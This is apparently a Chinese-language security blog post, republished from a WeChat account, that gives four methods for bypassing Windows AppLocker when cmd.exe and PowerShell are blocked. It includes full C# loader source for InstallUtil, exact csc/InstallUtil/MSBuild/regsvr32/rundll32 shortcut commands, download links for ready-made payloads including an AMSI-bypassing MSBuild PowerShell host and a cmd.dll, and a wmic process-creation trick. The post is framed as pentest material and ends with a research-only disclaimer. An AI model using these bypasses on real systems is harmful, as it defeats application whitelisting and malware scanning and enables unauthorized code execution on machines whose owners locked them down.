突破 Windows——在 PowerShell 和 CMD 被锁定的情况下绕过 AppLocker

admin 2025年4月7日16:09:32评论9 views字数 6175阅读20分35秒阅读模式
突破 Windows——在 PowerShell 和 CMD 被锁定的情况下绕过 AppLocker

场景:

在这种情况下,我们可以访问 Windows 10 主机,该主机强制实施 AppLocker 策略,明确阻止特定用户访问cmd.exepowershell.exepowershell_ise.exe。常见的突破技术和替代 shell 已被证明无效。我们的目标是重新获得对 PowerShell 或 CMD 功能的访问权限,以实现命令执行,尽管存在这些限制。

以下输出显示了 AppLocker 策略的一个示例。列出 AppLocker 策略的命令:

Get-AppLockerPolicy -Effective | Select -ExpandProperty RuleCollections

下图演示了有效的 Applocker 规则。

突破 Windows——在 PowerShell 和 CMD 被锁定的情况下绕过 AppLocker

下图演示了 AppLocker 阻止受影响用户访问 powershell.exe。

突破 Windows——在 PowerShell 和 CMD 被锁定的情况下绕过 AppLocker

方法 1 – C# 程序、csc.exe 快捷方式、InstallUtil.exe 快捷方式

致谢

这种方法并不新鲜,在安全社区中广为人知。据我所知,Black Hills Information Security (BlackHillsInfoSec)是首批公开展示或讨论这种绕过技术的公司之一。此外,Casey Smith (Twitter/X: @subTee ) 通过他的研究在识别和分享这种攻击路径方面发挥了重要作用,这种攻击路径此后在攻击性安全中被广泛采用。

参考

  • Black Hills InfoSec – 无需 PowerShell 的 PowerShell

https://www.blackhillsinfosec.com/powershell-without-powershell-how-to-bypass-application-whitelisting-environment-restrictions-av/

方法摘要:

我们将下载一个 C# 源文件到主机并创建一个包含 PowerShell 命令的配套文件。csc.exe 的快捷方式将用于编译 C# 程序,第二个快捷方式将使用InstallUtil.exe触发已编译二进制文件的执行。运行时,C# 程序将从文件中读取并执行 PowerShell 命令,并将结果输出到单独的文件以供审查。

步骤 1-下载 exec.cs

下载链接:

  • https://github.com/umsundu/win-applocker-breakout/blob/main/exec.cs

下图显示从 GitHub下载未编译的 C#程序exec.cs。

突破 Windows——在 PowerShell 和 CMD 被锁定的情况下绕过 AppLocker

Exec.cs CSharp 代码:

using System;using System.Configuration.Install;using System.Runtime.InteropServices;using System.IO;using System.Management.Automation;using System.Management.Automation.Runspaces;publicclassProgram{publicstaticvoidMain(){    }}[System.ComponentModel.RunInstaller(true)]publicclassCustomInstaller : Installer{publicoverridevoidUninstall(System.Collections.IDictionary savedState){        PowerShellExecutor.ExecuteScript();    }}publicclassPowerShellExecutor{publicstaticvoidExecuteScript(){try        {string downloadsPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.UserProfile), "Downloads");string scriptFile = Path.Combine(downloadsPath, "task_update.log");if (File.Exists(scriptFile))            {string command = File.ReadAllText(scriptFile);using (Runspace runspace = RunspaceFactory.CreateRunspace(InitialSessionState.CreateDefault()))                {                    runspace.Open();using (Pipeline pipeline = runspace.CreatePipeline())                    {                        pipeline.Commands.AddScript(command);                        pipeline.Invoke();                    }                }            }        }catch        {        }    }}

下载 exec.cs 后,导航到下载文件夹并创建一个名为task_update.log的文件。

下图演示了在下载目录中创建的文件task_update.log 。

突破 Windows——在 PowerShell 和 CMD 被锁定的情况下绕过 AppLocker

创建后,在记事本中打开task_update.log文件并向文件添加一些 PowerShell 命令,并确保命令的输出写入磁盘上的文件。

下图演示了如何将 Powershell 命令添加到 task_update.log 文件。

突破 Windows——在 PowerShell 和 CMD 被锁定的情况下绕过 AppLocker

第 2 步 - 编译 exec.sc

现在我们需要编译 exec.sc 代码。我们将通过创建快捷方式并使用 Windows 原生 scs.exe 来完成此操作。

在下载目录中单击鼠标右键,选择“新建快捷方式”。将以下命令粘贴到新快捷方式窗口的位置字段中,然后单击“下一步”,将快捷方式名称保留为csc.exe,然后单击“完成”。

c:WindowsMicrosoft.NETFramework64v4.0.30319csc.exe /r:c:WindowsassemblyGAC_MSILSystem.Management.Automation1.0.0.0__31bf3856ad364e35System.Management.Automation.dll /unsafe /platform:anycpu /out:C:UsersuserDownloadsexec.exe

下图演示了如何将上述命令添加为快捷方式位置。

突破 Windows——在 PowerShell 和 CMD 被锁定的情况下绕过 AppLocker

在 Downloads 目录中现在应该有三个文件:exec.cs、task_update.log和csc.exe 。要将exec.sc编译为exec.exe ,请将exec.cs文件拖到快捷方式scs.exe上。这将编译并创建exec.exe。

下图演示了将exec.cs拖到scs.exe上。

突破 Windows——在 PowerShell 和 CMD 被锁定的情况下绕过 AppLocker

如果一切顺利,你应该会看到一个短暂的活动闪现,并且一个名为exec.exe的新文件将出现在下载文件夹中。这是exec.sc的编译版本。

下图表明 exec.sc 编译成功。

突破 Windows——在 PowerShell 和 CMD 被锁定的情况下绕过 AppLocker

步骤 3 - 设置环境以执行 exec.exe

现在我们在主机上有一个编译版本的exec.exe,下一步是创建第二个快捷方式,这次使用InstallUtil.exe。此快捷方式将用于执行exec.exe二进制文件,该二进制文件旨在从task_update.log文件中读取 PowerShell 命令,在内存中执行它们,并将结果写入名为output.txt的文件中以供审查。

我们可以通过两种方式使用InstallUtil.exe快捷方式来执行exec.exe 。第一种方法是创建快捷方式,并在目标中包含exec.exe的完整路径。使用此设置,双击InstallUtil.exe快捷方式将自动执行exec.exe

允许通过 InstallUtil.exe 双击执行 exec.exe 的快捷方式路径:

C:WindowsMicrosoft.NETFramework64v4.0.30319InstallUtil.exe /logfile= /LogToConsole=false /u  C:UsersuserDownloadsexec.exe

或者,我们可以创建快捷方式而不指定exec.exe的路径。在这种情况下,必须通过将exec.exe拖放到InstallUtil.exe快捷方式上来手动触发执行。

InstallUtil.exe 快捷方式路径(不包括 exec.exe 路径 - 需要拖放执行):

C:WindowsMicrosoft.NETFramework64v4.0.30319InstallUtil.exe /logfile= /LogToConsole=false /u

下图演示了如何添加 InstallUtil 快捷命令。

突破 Windows——在 PowerShell 和 CMD 被锁定的情况下绕过 AppLocker

将 InstallUtil.exe 名称保留为默认值。如果一切顺利,您现在应该在下载文件夹中有一个 InstallUtil.exe 快捷方式。

下图演示了在下载文件夹中创建的 InstallUtil.exe 快捷方式。

突破 Windows——在 PowerShell 和 CMD 被锁定的情况下绕过 AppLocker

步骤 4 - 执行 PowerShell 命令

在为 PowerShell 执行准备好环境后,下一步就是双击 InstallUtil.exe 快捷方式。此操作将触发 exec.exe 二进制文件的执行,该文件已编译为从task_update.log文件中读取 PowerShell 命令。这些命令使用 PowerShell 自动化程序集在内存中执行,结果将写入名为output.txt的输出文件。要运行其他命令,只需在task_update.log文件中附加或修改条目,然后再次双击InstallUtil.exe重新运行它。

下图确认执行成功,PowerShell 输出被准确捕获并保存。

突破 Windows——在 PowerShell 和 CMD 被锁定的情况下绕过 AppLocker

方法 2-MSBuildShell

致谢

  • MSBuild 应用程序白名单绕过代码的作者和创始人:Casey Smith,Twitter:@subTee

  • Powershell Host 代码:原文来自微软(MSDN),由Cn33liz 修改,Twitter:@Cneelis

  • Amsi Bypass Oneliner(使用@danielhbohannon Invoke-Obfuscation 进行混淆):Matt Graeber,Twitter:@mattifestation

概括:

此代码可让您绕过应用程序白名单和powershell.exe 上的限制,为您提供一个功能齐全的内存 PowerShell shell,该 shell 可与标准 PowerShell 会话紧密模拟。Get -Credential和远程PSSessions等功能可按预期运行,尽管无法使用 Tab 补全。此外,此方法可绕过反恶意软件扫描接口 (AMSI),该接口通常负责为 PowerShell 脚本提供增强的恶意软件保护。

步骤 1 - 下载 MSBuildShell

下面的示例演示从 github下载MSBuildSLL.csproj 。

  • MSBuildShell 下载链接:

https://github.com/umsundu/win-applocker-breakout/blob/main/MSBuildSll.csproj

突破 Windows——在 PowerShell 和 CMD 被锁定的情况下绕过 AppLocker

第 2 步 - 创建快捷方式并执行 MSBuild

下载MSBuildSLL.csproj后,在下载目录中单击鼠标右键,然后选择“新建”>“快捷方式”。在位置字段中,输入以下路径,然后单击“下一步”,将快捷方式名称保留为默认名称,然后单击“完成”:

快捷命令路径:

C:WindowsMicrosoft.NETFrameworkv4.0.30319MSBuild.exe

下图演示了在快捷方式的位置添加上述命令。

突破 Windows——在 PowerShell 和 CMD 被锁定的情况下绕过 AppLocker

现在,将MSBuildSLL.csproj拖放到MSBuild.exe快捷方式上。如果一切设置正确,这将触发项目文件的执行,并且您应该进入交互式 PowerShell 会话。此技术利用 MSBuild 执行嵌入式 C# 代码,无需直接调用powershell.exe即可执行命令,从而有效地绕过应用程序白名单控制。

突破 Windows——在 PowerShell 和 CMD 被锁定的情况下绕过 AppLocker

方法 3-CMD.DLL

概括:

该技术使用regsvr32.exe(受信任的 Windows 二进制文件)通过执行恶意 DLL(例如cmd.dll)来绕过 AppLocker 限制。由于regsvr32.exe通常受 AppLocker 策略允许,并且不依赖于cmd.exe或powershell.exe ,因此它可用于通过DllRegisterServer等导出函数加载和运行任意代码。这使攻击者可以执行命令或脚本,同时避免检测并绕过常见的应用程序白名单控制。

步骤 1-下载 cmd.dll

下图演示了从 github下载cmd.dll 

  • CMD.DLL下载链接:

https://github.com/umsundu/win-applocker-breakout/blob/main/cmd.dll

突破 Windows——在 PowerShell 和 CMD 被锁定的情况下绕过 AppLocker

第 2 步 - 创建快捷方式并执行 CMD.DLL

下载完cmd.dll后,在下载目录中单击鼠标右键,选择“新建”>“快捷方式”。在位置字段中,输入以下路径,然后单击“下一步”,将快捷方式名称保留为默认名称,然后单击“完成”

您有两种快捷方式的执行选项:

使用regsvr32.exe(执行DllRegisterServer导出):

C:WindowsSystem32regsvr32.exe"C:UsersuserDownloadscmd.dll"

使用rundll32.exe(调用指定的导出,如Control_RunDll):

C:WindowsSystem32rundll32.exe C:UsersuserDownloadscmd.dll,Control_RunDll

这两种方法都会加载并执行 DLL,从而提供一种绕过 AppLocker 并实现命令执行的方法,而无需依赖于cmd.exe等被阻止的二进制文件。

下图演示了如何加载和执行cmd.dll以获得交互式cmd shell。

突破 Windows——在 PowerShell 和 CMD 被锁定的情况下绕过 AppLocker

方法 4 - 通过 Wmic.exe 使用 Powershell

如果用户可以使用运行命令和/或Cortana 搜索,则可能可以执行wmi.exe ,如果允许,它将使用运行命令和以下语法打开wmi shell 环境。

\localhostC$windowssystem32wbemwmic.exe
下图演示了如何通过运行命令打开 wmic.exe。

突破 Windows——在 PowerShell 和 CMD 被锁定的情况下绕过 AppLocker

下图演示了通过运行命令执行后打开的wmic.exe。

突破 Windows——在 PowerShell 和 CMD 被锁定的情况下绕过 AppLocker

一旦访问了wmic.exe shell,我们就可以使用wmic打开Powershell 进程。

以下命令可用于从 wmic 打开 Powershell:

process callcreate"powershell -NoExit"

下图演示了如何通过 wmic.exe 打开并访问 Powershell 进程。

突破 Windows——在 PowerShell 和 CMD 被锁定的情况下绕过 AppLocker

这篇文章介绍了在受限环境中绕过 AppLocker 的四种不同方法。每种方法的路径略有不同,但都达到了相同的目标:在不该运行的地方执行代码。无论您是在测试防御还是构建防御,这都是一个很好的提醒,仅依靠 AppLocker 是行不通的。总有办法——这取决于您愿意有多大的决心(或创造力)。希望这对您有所帮助。

原文始发于微信公众号(Ots安全):突破 Windows——在 PowerShell 和 CMD 被锁定的情况下绕过 AppLocker

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年4月7日16:09:32
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   突破 Windows——在 PowerShell 和 CMD 被锁定的情况下绕过 AppLockerhttp://cn-sec.com/archives/3924838.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息